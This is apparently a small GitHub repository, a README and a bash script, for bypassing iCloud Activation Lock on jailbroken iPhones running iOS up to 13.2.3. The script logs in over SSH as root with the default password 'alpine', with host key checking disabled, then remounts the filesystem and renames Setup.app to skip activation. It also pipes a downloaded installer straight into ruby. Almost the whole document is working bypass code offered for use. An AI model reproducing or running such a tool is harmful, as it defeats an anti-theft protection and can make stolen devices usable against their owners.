├── README.md └── bypass.sh /README.md: -------------------------------------------------------------------------------- 1 | # iCloud Bypass 2 | 3 | Just a simple script, no magic. Needs [Checkra1n](https://checkra.in/), macOS only, iOS ~**13.2.3** only. 4 | 5 | 6 | ## Usage 7 | 8 | ``` 9 | git clone https://github.com/Lessica/icloud-bypass.git && cd icloud-bypass 10 | bash bypass.sh 11 | ``` 12 | 13 | -------------------------------------------------------------------------------- /bypass.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # colors 4 | RED='\033[0;31m' 5 | GREEN='\033[0;32m' 6 | YELLOW='\033[0;33m' 7 | RESET='\033[0m' 8 | 9 | # install homebrew 10 | echo -e "[-] ${GREEN}install homebrew...${RESET}" 11 | if ! type "brew" > /dev/null; then 12 | echo -e "[!] ${YELLOW}homebrew is not installed, would you like to install that? [y/n] ${RESET} " 13 | read -r input 14 | 15 | case $input in 16 | [yY][eE][sS]|[yY]) 17 | /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 18 | ;; 19 | 20 | [nN][oO]|[nN]) 21 | echo -e "[x] ${RED}Abort.${RESET}" 22 | exit 1 23 | ;; 24 | 25 | *) 26 | echo -e "[x] ${RED}Invalid input, abort.${RESET}" 27 | exit 1 28 | ;; 29 | esac 30 | fi 31 | 32 | # install dependencies 33 | echo -e "[-] ${GREEN}install dependencies...${RESET}" 34 | if ! type "iproxy" > /dev/null; then 35 | brew install -y libusbmuxd 36 | fi 37 | if ! type "sshpass" > /dev/null; then 38 | brew install -y https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb 39 | fi 40 | 41 | # will begin 42 | echo -e "[!] ${YELLOW}this script only supports iDevice up to iOS 13.2.3${RESET}" 43 | echo -e "[!] ${YELLOW}connect your iDevice to your Mac, then press [Enter] to start...${RESET}" 44 | read -p "" 45 | 46 | # bind SSH ports 47 | echo -e "[-] ${GREEN}bind SSH ports from 12222 to 44...${RESET}" 48 | iproxy 12222 44 > /dev/null 2>&1 49 | echo $! > .iproxy.pid 50 | trap 'kill -9 $(cat .iproxy.pid); exit 1' INT 51 | 52 | # execute payload 53 | echo -e "[-] ${GREEN}execute payload...${RESET}" 54 | sshpass -p alpine ssh -o StrictHostKeyChecking=no -p 12222 root@127.0.0.1 <<-'ENDSSH' 55 | if [[ ! -d "/Applications/Setup.app.bypass" ]]; then 56 | mount -o rw,union,update /; 57 | mv /Applications/Setup.app /Applications/Setup.app.bypass; 58 | killall -9 Setup; 59 | uicache --all; 60 | killall -9 backboardd; 61 | exit 0; 62 | fi 63 | exit 1; 64 | ENDSSH 65 | 66 | # test payload 67 | if [[ $? -ne 0 ]]; then 68 | echo -e "[x] ${RED}bypass failed${RESET}" 69 | exit 1 70 | fi 71 | 72 | # clean up 73 | kill -9 $(cat .iproxy.pid) > /dev/null 74 | rm -f .iproxy.pid > /dev/null 75 | echo -e "[-] ${GREEN}bypass succeed${RESET}" 76 | exit 0 77 | 78 | --------------------------------------------------------------------------------